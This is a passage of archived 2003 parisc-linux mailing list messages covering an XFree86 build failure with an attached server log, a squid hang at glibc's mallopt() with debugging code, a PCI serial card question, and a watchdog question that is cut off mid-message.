Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17713

--------------Boundary-00=_U8G9GYF5TW3RAW06HH3P
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Hi.

I've tryed to compil Xfree v4.2.1 on my B180L.
The compilation works fine but I have a problem while trying to start X.
I guess I've ommited a CFLAGS or something else but I'm unable to solve the 
problem.
Gcc version is 3.2.1.


The log is in attachement.

Regards, 

	Guy Martin



--------------Boundary-00=_U8G9GYF5TW3RAW06HH3P
Content-Type: text/plain;
  charset="iso-8859-1";
  name="XFree86.0.log"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="XFree86.0.log"

ClhGcmVlODYgVmVyc2lvbiA0LjIuMSAvIFggV2luZG93IFN5c3RlbQoocHJvdG9jb2wgVmVyc2lv
biAxMSwgcmV2aXNpb24gMCwgdmVuZG9yIHJlbGVhc2UgNjYwMCkKUmVsZWFzZSBEYXRlOiAzIFNl
cHRlbWJlciAyMDAyCglJZiB0aGUgc2VydmVyIGlzIG9sZGVyIHRoYW4gNi0xMiBtb250aHMsIG9y
IGlmIHlvdXIgY2FyZCBpcwoJbmV3ZXIgdGhhbiB0aGUgYWJvdmUgZGF0ZSwgbG9vayBmb3IgYSBu
ZXdlciB2ZXJzaW9uIGJlZm9yZQoJcmVwb3J0aW5nIHByb2JsZW1zLiAgKFNlZSBodHRwOi8vd3d3
LlhGcmVlODYuT3JnLykKQnVpbGQgT3BlcmF0aW5nIFN5c3RlbTogTGludXggMi40LjIwLXBhMjYg
cGFyaXNjIFtFTEZdIApNb2R1bGUgTG9hZGVyIHByZXNlbnQKTWFya2VyczogKC0tKSBwcm9iZWQs
ICgqKikgZnJvbSBjb25maWcgZmlsZSwgKD09KSBkZWZhdWx0IHNldHRpbmcsCiAgICAgICAgICgr
KykgZnJvbSBjb21tYW5kIGxpbmUsICghISkgbm90aWNlLCAoSUkpIGluZm9ybWF0aW9uYWwsCiAg
ICAgICAgIChXVykgd2FybmluZywgKEVFKSBlcnJvciwgKE5JKSBub3QgaW1wbGVtZW50ZWQsICg/
PykgdW5rbm93bi4KKD09KSBMb2cgZmlsZTogIi92YXIvbG9nL1hGcmVlODYuMC5sb2ciLCBUaW1l
OiBUaHUgRmViIDEzIDE3OjA5OjA4IDIwMDMKKC0tKSB1c2luZyBWVCBudW1iZXIgNwoKKFdXKSBP
cGVuIEFQTSBmYWlsZWQgKC9kZXYvYXBtX2Jpb3MpIChObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5
KQooSUkpIE1vZHVsZSBBQkkgdmVyc2lvbnM6CglYRnJlZTg2IEFOU0kgQyBFbXVsYXRpb246IDAu
MQoJWEZyZWU4NiBWaWRlbyBEcml2ZXI6IDAuNQoJWEZyZWU4NiBYSW5wdXQgZHJpdmVyIDogMC4z
CglYRnJlZTg2IFNlcnZlciBFeHRlbnNpb24gOiAwLjEKCVhGcmVlODYgRm9udCBSZW5kZXJlciA6
IDAuMwooSUkpIExvYWRlciBydW5uaW5nIG9uIGxpbnV4CihJSSkgTG9hZE1vZHVsZTogImJpdG1h
cCIKKElJKSBMb2FkaW5nIC91c3IvWDExUjYvbGliL21vZHVsZXMvZm9udHMvbGliYml0bWFwLmEK
Tm90IGxvYWRpbmcgLnJlbGEudGV4dApOb3QgbG9hZGluZyAucmVsYS5yb2RhdGEKTm90IGxvYWRp
bmcgLlBBUklTQy51bndpbmQKTm90IGxvYWRpbmcgLnJlbGEuUEFSSVNDLnVud2luZApOb3QgbG9h
ZGluZyAucmVsYS50ZXh0Ck5vdCBsb2FkaW5nIC5yZWxhLmRhdGEKTm90IGxvYWRpbmcgLlBBUklT
Qy51bndpbmQKTm90IGxvYWRpbmcgLnJlbGEuUEFSSVNDLnVud2luZApOb3QgbG9hZGluZyAucmVs
YS50ZXh0Ck5vdCBsb2FkaW5nIC5QQVJJU0MudW53aW5kCk5vdCBsb2FkaW5nIC5yZWxhLlBBUklT
Qy51bndpbmQKTm90IGxvYWRpbmcgLnJlbGEudGV4dApOb3QgbG9hZGluZyAuUEFSSVNDLnVud2lu
ZApOb3QgbG9hZGluZyAucmVsYS5QQVJJU0MudW53aW5kCk5vdCBsb2FkaW5nIC5yZWxhLnRleHQK
Tm90IGxvYWRpbmcgLnJlbGEuZGF0YQpOb3QgbG9hZGluZyAucmVsYS5yb2RhdGEKTm90IGxvYWRp
bmcgLlBBUklTQy51bndpbmQKTm90IGxvYWRpbmcgLnJlbGEuUEFSSVNDLnVud2luZApOb3QgbG9h
ZGluZyAucmVsYS50ZXh0Ck5vdCBsb2FkaW5nIC5yZWxhLmRhdGEKTm90IGxvYWRpbmcgLlBBUklT
Qy51bndpbmQKTm90IGxvYWRpbmcgLnJlbGEuUEFSSVNDLnVud2luZApOb3QgbG9hZGluZyAucmVs
YS50ZXh0Ck5vdCBsb2FkaW5nIC5yZWxhLnJvZGF0YQpOb3QgbG9hZGluZyAuUEFSSVNDLnVud2lu
ZApOb3QgbG9hZGluZyAucmVsYS5QQVJJU0MudW53aW5kCk5vdCBsb2FkaW5nIC5yZWxhLnRleHQK
Tm90IGxvYWRpbmcgLlBBUklTQy51bndpbmQKTm90IGxvYWRpbmcgLnJlbGEuUEFSSVNDLnVud2lu
ZApOb3QgbG9hZGluZyAucmVsYS50ZXh0Ck5vdCBsb2FkaW5nIC5yZWxhLnJvZGF0YQpOb3QgbG9h
ZGluZyAuUEFSSVNDLnVud2luZApOb3QgbG9hZGluZyAucmVsYS5QQVJJU0MudW53aW5kCk5vdCBs
b2FkaW5nIC5yZWxhLnRleHQKTm90IGxvYWRpbmcgLlBBUklTQy51bndpbmQKTm90IGxvYWRpbmcg
LnJlbGEuUEFSSVNDLnVud2luZApOb3QgbG9hZGluZyAucmVsYS50ZXh0Ck5vdCBsb2FkaW5nIC5y
ZWxhLmRhdGEKTm90IGxvYWRpbmcgLlBBUklTQy51bndpbmQKTm90IGxvYWRpbmcgLnJlbGEuUEFS
SVNDLnVud2luZAooRUUpIExvYWRNb2R1bGU6IE1vZHVsZSBiaXRtYXAgZG9lcyBub3Qgc3VwcGx5
IHZlcnNpb24gaW5mb3JtYXRpb24KKElJKSBVbmxvYWRNb2R1bGU6ICJiaXRtYXAiCihJSSkgVW5s
b2FkaW5nIC91c3IvWDExUjYvbGliL21vZHVsZXMvZm9udHMvbGliYml0bWFwLmEKKEVFKSBGYWls
ZWQgdG8gbG9hZCBtb2R1bGUgImJpdG1hcCIgKGludmFsaWQgbW9kdWxlLCAwKQooSUkpIExvYWRN
b2R1bGU6ICJwY2lkYXRhIgooSUkpIExvYWRpbmcgL3Vzci9YMTFSNi9saWIvbW9kdWxlcy9saWJw
Y2lkYXRhLmEKTm90IGxvYWRpbmcgLnJlbGEudGV4dApOb3QgbG9hZGluZyAucmVsYS5kYXRhCk5v
dCBsb2FkaW5nIC5QQVJJU0MudW53aW5kCk5vdCBsb2FkaW5nIC5yZWxhLlBBUklTQy51bndpbmQK
KEVFKSBMb2FkTW9kdWxlOiBNb2R1bGUgcGNpZGF0YSBkb2VzIG5vdCBzdXBwbHkgdmVyc2lvbiBp
bmZvcm1hdGlvbgooSUkpIFVubG9hZE1vZHVsZTogInBjaWRhdGEiCihJSSkgVW5sb2FkaW5nIC91
c3IvWDExUjYvbGliL21vZHVsZXMvbGlicGNpZGF0YS5hCihFRSkgRmFpbGVkIHRvIGxvYWQgbW9k
dWxlICJwY2lkYXRhIiAoaW52YWxpZCBtb2R1bGUsIDApCgpGYXRhbCBzZXJ2ZXIgZXJyb3I6ClVu
YWJsZSB0byBsb2FkIHJlcXVpcmVkIGJhc2UgbW9kdWxlcywgRXhpdGluZy4uLgoKCldoZW4gcmVw
b3J0aW5nIGEgcHJvYmxlbSByZWxhdGVkIHRvIGEgc2VydmVyIGNyYXNoLCBwbGVhc2Ugc2VuZAp0
aGUgZnVsbCBzZXJ2ZXIgb3V0cHV0LCBub3QganVzdCB0aGUgbGFzdCBtZXNzYWdlcy4KVGhpcyBj
YW4gYmUgZm91bmQgaW4gdGhlIGxvZyBmaWxlICIvdmFyL2xvZy9YRnJlZTg2LjAubG9nIi4KUGxl
YXNlIHJlcG9ydCBwcm9ibGVtcyB0byB4ZnJlZTg2QHhmcmVlODYub3JnLgoK

--------------Boundary-00=_U8G9GYF5TW3RAW06HH3P--


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc mallopt() pb with squid [was: Squid freeze]
Date: Fri, 14 Feb 2003 10:57:15 +0100
Lines: 208
Approved: news@gmane.org
Message-ID: <3E484410000014A0@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622216 21825 80.91.229.3 (22 Nov 2014 02:10:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:16 +0000 (UTC)
Cc: "Bad Max" <badmax@club-internet.fr>,
	"Randolph Chung" <tausq@debian.org>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	"Carlos O'Donell" <carlos@baldric.uwo.ca>
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 14 02:57:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id A37BB482A
	for <parisc-linux@parisc-linux.org>; Fri, 14 Feb 2003 02:57:17 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18jcaq-00042o-00; Fri, 14 Feb 2003 10:57:16 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 14 Feb 2003 10:57:15 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17714

Hi all,

I come back to you with squid problem and glibc-2.3.

For recall, "Bax Max" asks help concerning squid hanging.

As in first reading, the Max's problem sounds similar to the one I encountered
before it works on my hppa testing (sarge) Debian, I suggest him to verify
some details (specially ulimits).
Well, it did not help.

Curious, I so installed squid testing dpkg on an unstable Debian  and effectively
it hang (very earlier because even simply query version do not work)?

Then I grab sources and try first to recompile the package with gcc-3.2 and
glibc-2.3.1-11 without optimisation (in mind the problem encountered in kernel
build): didn't help.

I ran so ddd to have a rough idea of the locking point; it appeared that
squid hangs at the first mallopt() in the following code:
[snip]
int
main(int argc, char **argv)
{
    int errcount = 0;
    int n;			/* # of GC'd objects */
    time_t loop_delay;
    mode_t oldmask;
#if defined(_SQUID_MSWIN_) || defined(_SQUID_CYGWIN_)
    int WIN32_init_err;
#endif

    debug_log = stderr;
    if (FD_SETSIZE < Squid_MaxFD)
	Squid_MaxFD = FD_SETSIZE;

#if defined(_SQUID_MSWIN_) || defined(_SQUID_CYGWIN_)
    if ((WIN32_init_err = WIN32_Subsystem_Init()))
	return WIN32_init_err;
#endif

    /* call mallopt() before anything else */
#ifdef HAVE_MALLOPT
#ifdef M_GRAIN
    /* Round up all sizes to a multiple of this */
    mallopt(M_GRAIN, 16);   <!<!<!<!<!<!<!<!<!<!<!<!< hanging here?
#endif
#ifdef M_MXFAST
    /* biggest size that is considered a small block */
    mallopt(M_MXFAST, 256);
#endif
#ifdef M_NBLKS
    /* allocate this many small blocks at once */
    mallopt(M_NLBLKS, 32);
#endif
#endif /* HAVE_MALLOPT */

To be sure, I just added some fprintf() [as in below testcase] and it confirmed
that it hangs well at this point.

On its side, Max nuke this part (not actually required) then squid works
fine.

In the hoppe to help more, I so build the following test case:
/*
 * $Id: main.c,v 1.345.2.4 2002/07/14 17:20:49 hno Exp $
 *
 * DEBUG: section 1     Startup and Main Loop
 * AUTHOR: Harvest Derived
 *
 * SQUID Web Proxy Cache          http://www.squid-cache.org/
 * ----------------------------------------------------------
 *
 *  Squid is the result of efforts by numerous individuals from
 *  the Internet community; see the CONTRIBUTORS file for full
 *  details.   Many organizations have provided support for Squid's
 *  development; see the SPONSORS file for full details.  Squid is
 *  Copyrighted (C) 2001 by the Regents of the University of
 *  California; see the COPYRIGHT file for full details.  Squid
 *  incorporates software developed and/or copyrighted by other
 *  sources; see the CREDITS file for full details.
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *  
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *  
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111, USA.
 *
 */

/*
#include "squid.h"
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

/* getpid(), geteuid()  */
#include <sys/types.h>
#include <unistd.h>

/* setgroups() */
#include <grp.h>

/* mkdir() */
#include <sys/stat.h>
#define MAXPATHLEN 256

/* waitpid() */
#include <sys/wait.h>

/* mallopt() */
#include <malloc.h>

#define SQUID_MAXFD 4096

/* autoconf.h */
/* Define if you have the mallopt function.  */
#define HAVE_MALLOPT 1

/* dlmalloc.c */
#define M_GRAIN   3    /* UNUSED in this malloc */
#define M_MXFAST  1    /* UNUSED in this malloc */

int Squid_MaxFD;		/* SQUID_MAXFD */

FILE *debug_log = NULL;

int
main(int argc, char **argv)
{
    int errcount = 0;

    debug_log = stderr;
    if (FD_SETSIZE < Squid_MaxFD)
	Squid_MaxFD = FD_SETSIZE;

    fprintf(stderr, "nb_err: %d\n", errcount);
    /* call mallopt() before anything else */

#ifdef HAVE_MALLOPT
    fprintf(stderr, "  HAVE_MALLOPT \n");
#ifdef M_GRAIN
    /* Round up all sizes to a multiple of this */
    fprintf(stderr, " M_GRAIN set: %d\n", M_GRAIN);
    mallopt(M_GRAIN, 16);
#endif
#ifdef M_MXFAST
    /* biggest size that is considered a small block */
    fprintf(stderr, " M_MXFAST set: %d\n", M_MXFAST);
    mallopt(M_MXFAST, 256);
#endif
#ifdef M_NBLKS
    /* allocate this many small blocks at once */
    fprintf(stderr, " M_NBLKS set: %d\n", M_NBLKS);
    mallopt(M_NLBLKS, 32);
#endif
#endif /* HAVE_MALLOPT */

    return 0;
}

which I compile as near as possible as the original code:
gcc -DHAVE_CONFIG_H -DDEFAULT_CONFIG_FILE=\"/etc/squid.conf\" -I. -I. -I../include
-I. -I. -I../include -I../include    -g -Wall -D_REENTRANT -c foo.c
gcc -g -Wall -D_REENTRANT  -g -o tst foo.o 

Unforunately, tst run fine.

I finally check the precompile text of the original main.c sources in which
I just encountered:
 1) # 187 "/usr/include/malloc.h" 3
    extern int mallopt (int __param, int __val)

 2) [snip]
     mallopt(3.16);
     mallopt(1,256);
    ...

Why so squid hang on this mallopt() and not tst?

Is some gcc, libc gurus (Carlos, Dave, Randolph?) could help us more to understand
this pb (squid bug or gcc - glibc bug?)

Thanks in advance,
	Joel

PS: I try to find more details in the pre-assemble (-S) test of the original
sources but I not yet able to read this kind of stuff and understand what
is done, sorry?

---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smbfs ??????\\kahuna: Not...
Date: Fri, 14 Feb 2003 16:56:14 +0200
Lines: 5
Approved: news@gmane.org
Message-ID: <20030214145614.GA8984@marmite.its.uct.ac.za>
References: <3E426053.60603@cce.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622217 21829 80.91.229.3 (22 Nov 2014 02:10:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nikolay Semenov <nsem@cce.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 14 07:57:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56708482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Feb 2003 07:57:05 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 18jhGO-0007Gx-00; Fri, 14 Feb 2003 16:56:28 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id C5D3A1A331; Fri, 14 Feb 2003 16:56:14 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	Nikolay Semenov <nsem@cce.ru>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3E426053.60603@cce.ru>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17715

ummm... Please don't post huge logs in the subject of your message.

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smbfs ??????\\kahuna: Not...
Date: Fri, 14 Feb 2003 15:22:53 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20030214152253.M5992@parcelfarce.linux.theplanet.co.uk>
References: <3E426053.60603@cce.ru> <20030214145614.GA8984@marmite.its.uct.ac.za>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622217 21831 80.91.229.3 (22 Nov 2014 02:10:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:17 +0000 (UTC)
To: Michael Wood <mwood@its.uct.ac.za>,
	Nikolay Semenov <nsem@cce.ru>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 14 08:22:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6497482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Feb 2003 08:22:57 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18jhfx-0005nV-00; Fri, 14 Feb 2003 15:22:53 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030214145614.GA8984@marmite.its.uct.ac.za>; from mwood@its.uct.ac.za on Fri, Feb 14, 2003 at 04:56:14PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17716

On Fri, Feb 14, 2003 at 04:56:14PM +0200, Michael Wood wrote:
> ummm... Please don't post huge logs in the subject of your message.

He did post a followup apologising and explained how it happened.
See http://bugzilla.mozilla.org/show_bug.cgi?id=192562 too ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J3592A hp product
Date: Fri, 14 Feb 2003 17:48:35 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <3E48441000001767@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622217 21836 80.91.229.3 (22 Nov 2014 02:10:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 14 09:48:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57209482A
	for <parisc-linux@parisc-linux.org>; Fri, 14 Feb 2003 09:48:38 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18jj0u-0001QH-00
	for <parisc-linux@parisc-linux.org>; Fri, 14 Feb 2003 17:48:36 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 14 Feb 2003 17:48:35 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17717

Hi all,

I have a PCI SerialMux (8ports) which I put back in my b180.

a cat /proc/pci
learn me that it seems to be an 'Equinox System' card:
root@fw01:~# cat /proc/pci
PCI devices found:
  Bus  0, device   1, function  0:
    Serial controller: PCI device 113f:90f0 (Equinox Systems, Inc.) (rev
4).
      IRQ 96.
      Non-prefetchable 32 bit memory at 0xf0ff0000 [0xf0ffffff].

Is it possibly true?

On Equinox site it seems that drivers is included into Linux kernel.
I have only found reference to this driver into drivers/pci/devices.h.

Is somebody could advise me on howto insert this driver into kernel?

Thanks in advance,
    Joel
 

---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Watchdog on parisc?
Date: Fri, 14 Feb 2003 19:11:24 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20030214181124.GJ13355@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Tu8ztk+XgTAiG9Id"
X-Trace: ger.gmane.org 1416622217 21838 80.91.229.3 (22 Nov 2014 02:10:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 14 11:11:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9DF3482B
	for <parisc-linux@parisc-linux.org>; Fri, 14 Feb 2003 11:11:26 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 025DB4A92D; Fri, 14 Feb 2003 19:11:24 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17718

--Tu8ztk+XgTAiG9Id
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

I'm currently playing a bit with my B132L and 715. They're working quite
nice, except that kernels aren't too stable (gcc-3.2, I'll do some more
test compiles with gcc-3.0, too).

I've looked through the docs available if a watchdog is mentioned. In
=2E/docs/platforms/b1xx-service.pdf there's a watchdog timeout error
declared (during selftest) so I *think* there is a watchdog, isn't
there? I've not yet seen a driver for it, nor have I seen any
documentation. Is there a watchdog (and possibly some docu or an hpux
